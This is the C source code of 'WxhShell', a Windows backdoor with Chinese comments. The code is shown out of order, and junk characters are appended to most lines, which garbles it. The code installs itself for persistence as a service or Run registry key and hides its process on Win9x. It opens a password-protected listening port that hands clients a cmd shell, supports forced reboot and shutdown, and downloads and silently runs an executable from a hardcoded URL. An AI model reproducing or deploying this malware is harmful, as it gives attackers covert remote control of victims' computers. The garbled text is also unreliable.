    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Xh&l[.  
    else { [S4\fy0  
    closesocket(wsh); *VlYl"  
    ExitThread(0); H4:TYh  
    } 6$6NVq  
    break; ESrWRO f9  
    } X3m?zQbhv  
  // 获取shell *Ra")(RnDK  
  case 's': { n&C9f9S  
    CmdShell(wsh); zRJy3/>  
    closesocket(wsh); k(qQvn  
    ExitThread(0); Wq9s[)F"Z  
    break; ?^ErrlI_  
  } #P9VX5Tg  
  // 退出 =hs@W)-O  
  case 'x': { xY'g7<})$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,xh9,EpBk  
    CloseIt(wsh); RrZjC  
    break; \QMSka>  
    } '9/kDkt!  
  // 离开 ^n2w6U0  
  case 'q': { R$@.{d&:w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Gf{}  
    closesocket(wsh); {f&ga  
    WSACleanup(); _uu:)%  
    exit(1); wwAT@=X*}  
    break; iE Oyc59  
        } B7PmG f)b  
  } .-|O"H$  
  } 5?fk;Q9+\  
>@L HJ61C  
  // 提示信息 a2 rv4d=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #`fT%'T!  
} |@g1|OWd|  
  } 5->PDp  
OX`n`+^D  
  return; jF;4 8g@^  
} OWjZ)f/  
\O:xw-eG   
// shell模块句柄 \S<5b&G  
int CmdShell(SOCKET sock) O+8`.  
{ UJH{vjIv  
STARTUPINFO si; *@& "MZ/M  
ZeroMemory(&si,sizeof(si)); S }n;..{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J9 =gv0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bvx:R ~E$  
PROCESS_INFORMATION ProcessInfo; %pp+V1FH  
char cmdline[]="cmd"; ~?&ijhZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G'py)C5;  
  return 0; w?tKL0c  
} o/zCXZnw#  
X2uX+}h*tA  
// 自身启动模式 [dJ\|=  
int StartFromService(void) EC~t 'v  
{ ;9PM?Iy[  
typedef struct R,\ r{@yrz  
{ 0c5_L6_z  
  DWORD ExitStatus; O%&@WrFq  
  DWORD PebBaseAddress; dvD<>{U,8  
  DWORD AffinityMask; LbR-uc?x  
  DWORD BasePriority; WNb$2q=  
  ULONG UniqueProcessId; ZYsFd_  
  ULONG InheritedFromUniqueProcessId;  +o  
}   PROCESS_BASIC_INFORMATION; vOK;l0%  
X u_<4  
PROCNTQSIP NtQueryInformationProcess; Pp/{keEye  
! -c*lb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _6m3$k_[MJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @EY}iK~  
QB[s8"S  
  HANDLE             hProcess; K|G $s  
  PROCESS_BASIC_INFORMATION pbi; ja;5:=8A5  
Vi#im`@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >>$|,Q-.  
  if(NULL == hInst ) return 0; [tzSr=,Cg  
%)9]dOdOk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T,uIA]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gxOmbQt@;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W\,lII0  
 z\tJ~  
  if (!NtQueryInformationProcess) return 0; B0i}Y-Z  
I{zE73  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w4'K2 7  
  if(!hProcess) return 0; MI(i%$R-A  
5G!U'.gr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f4S@lyYF  
A E&n^vdQW  
  CloseHandle(hProcess); GX)QIe~;qJ  
g8+,wSE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zb/Xfu.)?6  
if(hProcess==NULL) return 0; @(c<av?  
@S7=6RKa[  
HMODULE hMod; H040-Q;S'  
char procName[255]; : xZC7"  
unsigned long cbNeeded; aELT"b,x  
h!K2F~i{P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ['emP1g~  
a{*'pY(R0$  
  CloseHandle(hProcess); Z5Ihc%J^  
 _)E8XyzF  
if(strstr(procName,"services")) return 1; // 以服务启动 qm=F6*@}  
!|h2&tH  
  return 0; // 注册表启动 {,FeNf46  
} " B{0-H+  
4p8jV*:@{  
// 主模块 f*vk1dS:*3  
int StartWxhshell(LPSTR lpCmdLine) mzB#O;3=  
{ LDEt.,6i  
  SOCKET wsl; k6L373e#Q  
BOOL val=TRUE; )[sO5X7'^  
  int port=0; {H; |G0tR  
  struct sockaddr_in door; t!SQLgA  
pMp9 O/u%  
  if(wscfg.ws_autoins) Install(); 3Z:!o$  
htYrv5q=M  
port=atoi(lpCmdLine); a<'$`z|s  
-0SuREn  
if(port<=0) port=wscfg.ws_port; $pfe2(8  
$Ds]\j*  
  WSADATA data; 5?L:8kHsH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j!MA]0lTM  
6r=)V$K <  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %]0U60  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &NjZD4m`=  
  door.sin_family = AF_INET; b*F~%K^i$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~|{)h^]@  
  door.sin_port = htons(port); Vfm #UvA  
Jf<yTAm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q>(u>z!  
closesocket(wsl); 7Y|>xx=v  
return 1; $a*Q).^  
} c9TAV,/fF*  
D 2:a  
  if(listen(wsl,2) == INVALID_SOCKET) { *7;*@H*jd  
closesocket(wsl); J5p!-N`NS  
return 1; ,35: Srf|  
} mUyv+n,  
  Wxhshell(wsl); $v<hW A]>  
  WSACleanup(); }t D!xI;  
dU>R<jl!$  
return 0; liw 9:@+V  
+'j*WVE%5  
} &tz%WW%D8  
/Np"J  
// 以NT服务方式启动 b/,!J] W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cvV?V\1f  
{ 3b)T}g  
DWORD   status = 0; B Ff. Rd95  
  DWORD   specificError = 0xfffffff; h"1"h.  
*!]Epb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 199hQxib:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5;MK1l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [{p?BTs  
  serviceStatus.dwWin32ExitCode     = 0; -)a_ub  
  serviceStatus.dwServiceSpecificExitCode = 0; 8pL>wL &C  
  serviceStatus.dwCheckPoint       = 0; Ky9No"o  
  serviceStatus.dwWaitHint       = 0; XBWSO@M'  
O4d^ig-xaH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rc:cVK  
  if (hServiceStatusHandle==0) return; M |Q  
JeTrMa2  
status = GetLastError(); Hrg=sR  
  if (status!=NO_ERROR) wy_;+ 'Y  
{ e|5B1rMM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tct 5*.|  
    serviceStatus.dwCheckPoint       = 0; =PKt09b^  
    serviceStatus.dwWaitHint       = 0; ssX6kgq_(  
    serviceStatus.dwWin32ExitCode     = status; @)Hbgkdi  
    serviceStatus.dwServiceSpecificExitCode = specificError; zGL<m0C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W3{<e"  
    return; b!5tFX;J  
  } E0)mI)RW.  
w HHF=Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QV'3O|  
  serviceStatus.dwCheckPoint       = 0; vgQhdtt  
  serviceStatus.dwWaitHint       = 0; kk_9G -M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G9'YgW+$7  
} +ersP@G  
ksOANLRN  
// 处理NT服务事件,比如:启动、停止 w] 5U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fv j5[Q  
{ dy6F+V\DG  
switch(fdwControl) U8QR*"GmT  
{ M,_^hm7  
case SERVICE_CONTROL_STOP: j^$3vj5E[  
  serviceStatus.dwWin32ExitCode = 0; g?A5'o&Yu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sp`fh7d.(  
  serviceStatus.dwCheckPoint   = 0; iZ.&q 6  
  serviceStatus.dwWaitHint     = 0; kf^-m/  
  { |Y8Mk2,s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0'%+X|  
  } cfC;eRgq~  
  return; g3|Y$/J7P  
case SERVICE_CONTROL_PAUSE: ^E<~zO=Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xs%R]KOwt  
  break; {b-0_  
case SERVICE_CONTROL_CONTINUE: # McK46B z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (ju aDn)  
  break; q]iKz%|Z/  
case SERVICE_CONTROL_INTERROGATE: r>Qyc  
  break; rq'##`H  
}; 3vRL g b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #zSi/r/=1  
} 9#s95R O  
TM/|K|_  
// 标准应用程序主函数 iB}LnC:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S4k^&$;  
{ qrM{b=  
Ft"&NtXeZZ  
// 获取操作系统版本 MgH1d&R  
OsIsNt=GetOsVer(); K.V!@bPlw9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vSYun I  
@wEKCn|}o  
  // 从命令行安装 _ r^90  
  if(strpbrk(lpCmdLine,"iI")) Install(); n&YW".iG  
FU]8.)`G  
  // 下载执行文件 hk7(2j7B  
if(wscfg.ws_downexe) { liugaRO8J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gc,J2B]61  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~.4W,QLuD  
} u"#6_-0y  
=2;mxJ#o  
if(!OsIsNt) { '.%iPMM  
// 如果时win9x,隐藏进程并且设置为注册表启动 W>q*.9}Y"  
HideProc(); 5I)~4.U|,m  
StartWxhshell(lpCmdLine); ~ F?G5cN5  
} t-eKruj+  
else _#J_$CE#  
  if(StartFromService()) cYq']$]  
  // 以服务方式启动 vR%j#v|s  
  StartServiceCtrlDispatcher(DispatchTable); 1IOo?e=/bM  
else _gPVmGG  
  // 普通方式启动 n!kk~65|  
  StartWxhshell(lpCmdLine); PuCwdTan_  
To#E@Nw  
return 0; LY\ddI*s  
} 0okO+QU,a  
;B|^2i1Wi  
#uD)0zdw  
e9z$+h  
=========================================== G!!-+n<  
#RR:3ZP ZC  
B&4fYpn  
e?^ \r)1  
3r~>~ueZ  
PmPyb>HK=P  
" iioct_7,g<  
bxd3  
#include <stdio.h> 9:9N)cNvfX  
#include <string.h> ?$30NK3G  
#include <windows.h> .q5J^/kr  
#include <winsock2.h> 5 4ak<&?  
#include <winsvc.h> r3+<r<gs  
#include <urlmon.h> aW`:)y&f  
zmy4tsmX  
#pragma comment (lib, "Ws2_32.lib") 0v_6cYA  
#pragma comment (lib, "urlmon.lib") L~*|,h  
xQNw&'|UU  
#define MAX_USER   100 // 最大客户端连接数 nV!2Dfd  
#define BUF_SOCK   200 // sock buffer Xk{!' 0  
#define KEY_BUFF   255 // 输入 buffer O3^98n2  
m%e^&N#%6r  
#define REBOOT     0   // 重启 KXoL,)Hl  
#define SHUTDOWN   1   // 关机 blRY7  
!p]T6_t]Q  
#define DEF_PORT   5000 // 监听端口 %|:;Ti  
7af?E)}v  
#define REG_LEN     16   // 注册表键长度 Y=P9:unG  
#define SVC_LEN     80   // NT服务名长度 Mv/IMO0rR  
GN:Ru|n  
// 从dll定义API s jL*I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S+.21,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ri/t(m^{W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w8AJ#9W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wb(*7 &eP:  
o|z+!,  
// wxhshell配置信息 ^?$D.^g  
struct WSCFG { \]Y\P~n  
  int ws_port;         // 监听端口 l 8O"w&  
  char ws_passstr[REG_LEN]; // 口令 :3111}>c  
  int ws_autoins;       // 安装标记, 1=yes 0=no -kG3k> by_  
  char ws_regname[REG_LEN]; // 注册表键名 (w5u*hx  
  char ws_svcname[REG_LEN]; // 服务名 |Hx%f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =8$|_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]%gp?9wy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gIV3n#-{L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D+| K%_Qq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HBt|}uZ?6i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G"G{AS  
SL[rn<x|  
}; :wQC_;  
-rE eKt  
// default Wxhshell configuration Zij"/gx\  
struct WSCFG wscfg={DEF_PORT, 7!O^;]+,  
    "xuhuanlingzhe", R<0Fy=z  
    1, R^jlEt\&P  
    "Wxhshell", +90u!r^v  
    "Wxhshell", Ak xH  
            "WxhShell Service", #=X)Jx~  
    "Wrsky Windows CmdShell Service", ShC_hi  
    "Please Input Your Password: ", #^5a\XJb  
  1, :~\LOKf  
  "http://www.wrsky.com/wxhshell.exe", [NQmL=l  
  "Wxhshell.exe" 9T8|y]0F  
    }; ;):8yBMk  
Qy4X#wgD  
// 消息定义模块 Ty`-r5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >pgQb9 T+_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IkSX\*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e{v,x1Y_z(  
char *msg_ws_ext="\n\rExit."; L@7Qs6G2u  
char *msg_ws_end="\n\rQuit."; pwa.q  
char *msg_ws_boot="\n\rReboot..."; "V:   
char *msg_ws_poff="\n\rShutdown..."; v*&Uk '4E  
char *msg_ws_down="\n\rSave to "; Vh 2Bz  
k%{ l4  
char *msg_ws_err="\n\rErr!"; /6Y0q9  
char *msg_ws_ok="\n\rOK!"; R ^HohB  
}BA9Ka#%  
char ExeFile[MAX_PATH]; /uK)rG F  
int nUser = 0; Bs_S.JP<`  
HANDLE handles[MAX_USER]; KjO-0VMN3  
int OsIsNt; A{4Dzm!  
*6NO-T; -  
SERVICE_STATUS       serviceStatus; ' be P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u8 |@|t  
C>AcK#-x,{  
// 函数声明 Z+Kv+GmqH  
int Install(void); K|`+C1!  
int Uninstall(void); J2rvJ2l=t  
int DownloadFile(char *sURL, SOCKET wsh); j%#?m2J}  
int Boot(int flag); P;j&kuW|zL  
void HideProc(void); :lgHL3yl  
int GetOsVer(void); H":/Ckok  
int Wxhshell(SOCKET wsl); q_-ma_F#s  
void TalkWithClient(void *cs); -<8B,  
int CmdShell(SOCKET sock); ]PeLcB  
int StartFromService(void); ^&C&~}Zv  
int StartWxhshell(LPSTR lpCmdLine); uK"^*NEC';  
3.(.*>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hr(6TLNw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); | @uq()  
DYc.to-  
// 数据结构和表定义 Y [4vRzc  
SERVICE_TABLE_ENTRY DispatchTable[] = 4S'[\ZJO  
{ E3y6c)<  
{wscfg.ws_svcname, NTServiceMain}, U?^OD  
{NULL, NULL} `GPQ((la  
}; -&@]M>r@  
PXa5g5 !  
// 自我安装 FX7M4t#<  
int Install(void) kmIoJH5  
{ {nTG~d  
  char svExeFile[MAX_PATH]; -<|Y1PQ  
  HKEY key;  wjL|Z8  
  strcpy(svExeFile,ExeFile); oBb?"2~9  
4 ^4d9?c  
// 如果是win9x系统,修改注册表设为自启动 yDzdE;  
if(!OsIsNt) { IeZ&7u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UIQQ \,3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ W@X-  
  RegCloseKey(key); HF]EU!OT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p7s@%scp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tzPC/?  
  RegCloseKey(key); )Ea8{m!   
  return 0; Hc M~  
    } [ne" T  
  } +)zDA:2Wa"  
} I|Z/`9T  
else { Np$z%ewK.  
6eM6[  
// 如果是NT以上系统,安装为系统服务 #^Ys{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^/k ,  
if (schSCManager!=0) z9 O~W5-U  
{  O)OUy  
  SC_HANDLE schService = CreateService }~rcrm.   
  ( /oFc 03d  
  schSCManager, vmvFBzLR  
  wscfg.ws_svcname, ZBF1rx?  
  wscfg.ws_svcdisp, $Y6 3!*  
  SERVICE_ALL_ACCESS, V`by*s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #XcU{5Qm5  
  SERVICE_AUTO_START, ~> PgJ ^G  
  SERVICE_ERROR_NORMAL, -]/7hN*v  
  svExeFile, A])OPqP{  
  NULL, O"\nR:\  
  NULL, #9i6+. Z  
  NULL, ujx@@N  
  NULL, %Z7%jma  
  NULL xkM] J)C  
  ); T(JuL<PB  
  if (schService!=0) $6# lTYN~  
  { Rnr#$C%  
  CloseServiceHandle(schService); +ZclGchw  
  CloseServiceHandle(schSCManager); "?P[9x}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L@nebT;\'  
  strcat(svExeFile,wscfg.ws_svcname); F;pQ\Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zFywC-my@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); , |l@j%  
  RegCloseKey(key); wYjQ V?,  
  return 0; ~H u"yAR  
    } 1+a@k  
  } &Xv1[nByU  
  CloseServiceHandle(schSCManager); ]rnXNn;  
} {\EOo-&A  
} J,(7.+`~#  
0aogBg_@K  
return 1; 3"Yif  
} 0yz~W(tsm  
S7CV w,2  
// 自我卸载 9_UN.]  
int Uninstall(void) +bUW!$G  
{ -TTs.O8P|<  
  HKEY key; x#mtS-sw2Q  
>fH*XP>(  
if(!OsIsNt) { Yy hny[fa9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0cFn{q'u  
  RegDeleteValue(key,wscfg.ws_regname); N xFUO0O3  
  RegCloseKey(key); @(>XOj?+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [zQ WyDu  
  RegDeleteValue(key,wscfg.ws_regname); T9?54r  
  RegCloseKey(key); 3 z=\ .R  
  return 0; =JW[pRI5a  
  } AWT"Y4Ie  
} U<[jT=L  
} 4jGLAor|  
else { U(*yL-  
csDQva\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w12}Rn8  
if (schSCManager!=0) =!CU $g  
{ UOt8Q0)}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '_ 0  
  if (schService!=0) 5ITq?%{M  
  { @1g&Z}L o  
  if(DeleteService(schService)!=0) { SO3cY#i z"  
  CloseServiceHandle(schService); + xp*]a  
  CloseServiceHandle(schSCManager); oRq3 pO}f  
  return 0; .,M;huRg  
  } L M /Ga  
  CloseServiceHandle(schService); Jq)U</  
  } MM gx|"  
  CloseServiceHandle(schSCManager); #tDW!Xv?  
} Y)Tl<  
} 5g>wV  
CTp!di|  
return 1; 7$7n71o  
} YB5dnS"n  
\bold"  
// 从指定url下载文件 3D_"y Z  
int DownloadFile(char *sURL, SOCKET wsh) ){ gAj  
{ :gf;}  
  HRESULT hr; k.GA8=]>  
char seps[]= "/"; XYAmJ   
char *token; uR_F,Mp?%u  
char *file; uPLErO9Es[  
char myURL[MAX_PATH]; m$:&P|!'p  
char myFILE[MAX_PATH]; kjE*9bUc  
5)M 2r!\  
strcpy(myURL,sURL); Fw"$A0  
  token=strtok(myURL,seps); ~5 >[`)  
  while(token!=NULL) 55m<XC  
  { Y(r@v  
    file=token; 'N6 S}w7  
  token=strtok(NULL,seps); $r79n-  
  } /oL8;:m  
y@;%Uv&  
GetCurrentDirectory(MAX_PATH,myFILE); O('Nn]wo~9  
strcat(myFILE, "\\"); 10O$'`  
strcat(myFILE, file); p3yU:q#A  
  send(wsh,myFILE,strlen(myFILE),0); 9$RI H\*  
send(wsh,"...",3,0); ; )llt G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +pp9d-n  
  if(hr==S_OK) CVQB"L  
return 0; cp%ii'  
else ;GOz>pg  
return 1; NY!jwb@%  
fu]N""~  
} ipjkZG@  
H~o <AmE0!  
// 系统电源模块 |" 7 Y52d  
int Boot(int flag) .'d2J>~N  
{ y LM"+.?pL  
  HANDLE hToken; rMp9jG@3   
  TOKEN_PRIVILEGES tkp; /;oqf4MF  
u #~ ;&D*q  
  if(OsIsNt) { 5<+KR.W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !#}7{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %e_"CS  
    tkp.PrivilegeCount = 1; Qf@iU%G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :2y"3azxk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "HlgRp]u  
if(flag==REBOOT) { zwr\:Hu4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "b,%8  
  return 0; +iA=y=;blH  
} NXU`wnVJ  
else { ; Lql_1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *e/K:k  
  return 0; T3pdx~66  
} |B^G:7c  
  } Vmi{X b]<  
  else { ~uj;qq  
if(flag==REBOOT) { YRcps0Dx9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L*]0"E  
  return 0; Xy7Z38G  
} vAi$ [p*im  
else { *>."V5{;S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ax|1b`XUr"  
  return 0; k;Fh4Hv  
} \40 YGFO  
} L1 #Ij#  
bx}fj#J]En  
return 1; p#@Z$gTH`'  
} O#_b7i  
shgAhx  
// win9x进程隐藏模块 `xz&Scil  
void HideProc(void) \x+3f  
{ 2]WE({P  
mT.e>/pa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +  WDq =S  
  if ( hKernel != NULL ) [j9E pi(  
  { (^n*Am;zlH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 51xk>_Hm}|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #T3 h}=  
    FreeLibrary(hKernel); 11UB4CA  
  } tIuoD+AW  
n$["z w  
return; %y<]Yzv.  
} jirbUl  
$_X|, v9  
// 获取操作系统版本 n(vDytrj;  
int GetOsVer(void) 1HR~ G9  
{ ,k0r  
  OSVERSIONINFO winfo; N_DT7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZafboqsDL  
  GetVersionEx(&winfo); %0-wpuHc(]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MI#mAg<  
  return 1; 5VE2@Fn}  
  else rg QEUDEQ  
  return 0; m~`>`4  
} E4[}lX}  
|$+5@+Zz  
// 客户端句柄模块 |qN'P}L  
int Wxhshell(SOCKET wsl) >-)h|w i  
{ ma& To=  
  SOCKET wsh; "Ty/k8?  
  struct sockaddr_in client; KfY$ka[}"S  
  DWORD myID; ,,<PVTd  
d&(_|xq#  
  while(nUser<MAX_USER) n$)_9:Z-j  
{ Mz=!w]qDH  
  int nSize=sizeof(client); HOi C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E]} n(  
  if(wsh==INVALID_SOCKET) return 1; .dmi#%W  
,|T7hTn=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BavO\{J#|0  
if(handles[nUser]==0) SpSnoVI  
  closesocket(wsh); b=[?b+  
else 0$vj!-Mb^j  
  nUser++; 6Y384  
  } 6oL1_)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mi7y&~,  
(ywo a  
  return 0; *cv}*D  
} !1sU>Xb4J  
.ln8|;%  
// 关闭 socket Iy7pt~DJ,  
void CloseIt(SOCKET wsh) ;/8{N0  
{ [=TCEU{"~  
closesocket(wsh); SU%DW4 6  
nUser--; O m'(mr  
ExitThread(0); v3RcwySk  
} V5rp.~   
PX,rWkOce  
// 客户端请求句柄 v."Dnl  
void TalkWithClient(void *cs) ` %?9=h%  
{ >^_ bD  
8;\sU?  
  SOCKET wsh=(SOCKET)cs; 2WBq  
  char pwd[SVC_LEN]; H7g< p"  
  char cmd[KEY_BUFF]; !u;>Wyd W  
char chr[1]; i+vsp@d  
int i,j; )j&"%[2F  
F # YPOH  
  while (nUser < MAX_USER) { 'cdN3i(  
+: Ge_-  
if(wscfg.ws_passstr) { lE#m]D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T1Ta?b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *~VxC{  
  //ZeroMemory(pwd,KEY_BUFF); 40P) 4w  
      i=0; 4FMF|U  
  while(i<SVC_LEN) { 6`H.%zM  
]$iN#d|ZU  
  // 设置超时 d^D i*&X  
  fd_set FdRead; 6XV<? 9q  
  struct timeval TimeOut; W?RE'QV8  
  FD_ZERO(&FdRead); pa]"iZz  
  FD_SET(wsh,&FdRead); g"8 .}1)~r  
  TimeOut.tv_sec=8; 0~gO'*2P  
  TimeOut.tv_usec=0; oduDA:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y=sGe!^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3{Q,h pZN  
 lhLGG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7v"lNP-?jU  
  pwd=chr[0]; O>0VTW  
  if(chr[0]==0xd || chr[0]==0xa) { `)>7)={  
  pwd=0; : mGAt[Cc  
  break; '/%zi,0  
  } UVu DQ  
  i++; )mcEQ-!b  
    } ^>$P)=O:v  
]F*3"y?)2  
  // 如果是非法用户,关闭 socket ^HA %q8| n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X]*QUV]i  
} VM=+afY5M  
oR#:Nt X@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '\DSTr:N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @e2}BhB2  
x^=M6;:  
while(1) { &<x@1,  
v> z@  
  ZeroMemory(cmd,KEY_BUFF); P&A|PY,P  
pxINw>\Qv  
      // 自动支持客户端 telnet标准   f"5g>[ 1  
  j=0; +Ezgn/bS&  
  while(j<KEY_BUFF) { JWO=!^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $.mQ7XDA9  
  cmd[j]=chr[0]; ]o/|na*  
  if(chr[0]==0xa || chr[0]==0xd) { |$lwkC)O  
  cmd[j]=0; o>D  
  break; '` CspY  
  } h5zVGr  
  j++; t!;/Z6\Pb  
    } R MYP"  
`TKD<&oL  
  // 下载文件 3tS~:6-/  
  if(strstr(cmd,"http://")) { GUB`|is^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bha?eN  
  if(DownloadFile(cmd,wsh)) OyG"1F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \l#>dq"Y  
  else 0lk;F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L;t)c  
  } Y}R}-+bD/  
  else { S[:xqzyDg  
irBDGT~  
    switch(cmd[0]) { Ze^jG-SL$9  
  q }C+tn"\  
  // 帮助 GR4?BuY,  
  case '?': { !$qKb_#nC  
